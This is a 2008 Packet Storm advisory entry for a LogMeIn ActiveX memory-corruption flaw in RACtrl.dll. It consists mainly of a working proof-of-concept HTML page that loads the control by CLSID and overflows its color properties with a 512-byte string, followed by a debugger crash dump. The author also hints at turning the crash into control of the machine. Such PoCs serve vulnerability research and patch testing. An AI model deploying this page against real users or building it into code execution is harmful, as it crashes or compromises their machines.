logmein-activex.txt

2008-08-29T00:00:00
ID PACKETSTORM:69479
Type packetstorm
Reporter Yag Kohha
Modified 2008-08-29T00:00:00

Description

                                        
                                            `<html>  
<body>  
<pre>  
  
LogMeIn Remote Access Utility ActiveX Memory Corruption 0day PoC (DoS)  
Software vendor URL: http://www.logmein.com  
Vulnerability at: RACtrl.dll (propset for: fgcolor, bgcolor, fmcolor)  
Author: Yag Kohha (skyhole [at] gmail.com)  
  
eax=024521b8 ebx=00000002 ecx=020e9f54 edx=00000011 esi=00000000 edi=00000000  
eip=01fb537f esp=0013e160 ebp=0013e1e8 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206  
RACtrl+0x3537f:  
01fb537f 0fb706 movzx eax,word ptr [esi] ds:0023:00000000=????  
---->>> Wanna change [esi]? Try to play with colors ;D  
  
Greetz to:  
str0ke & milw0rm  
shinnai  
offtopic  
kais  
  
</pre>  
  
<object classid='clsid:FD0B6769-6490-4A91-AA0A-B5AE0DC75AC9' id='obj1'></object>  
<script language='javascript'>  
var buf = '';  
while (buf.length < 512) buf = buf + 'AAAA';  
obj1.fgcolor = buf;  
obj1.bgcolor = obj1.fgcolor;  
</script>  
</body>  
</html>  
  
`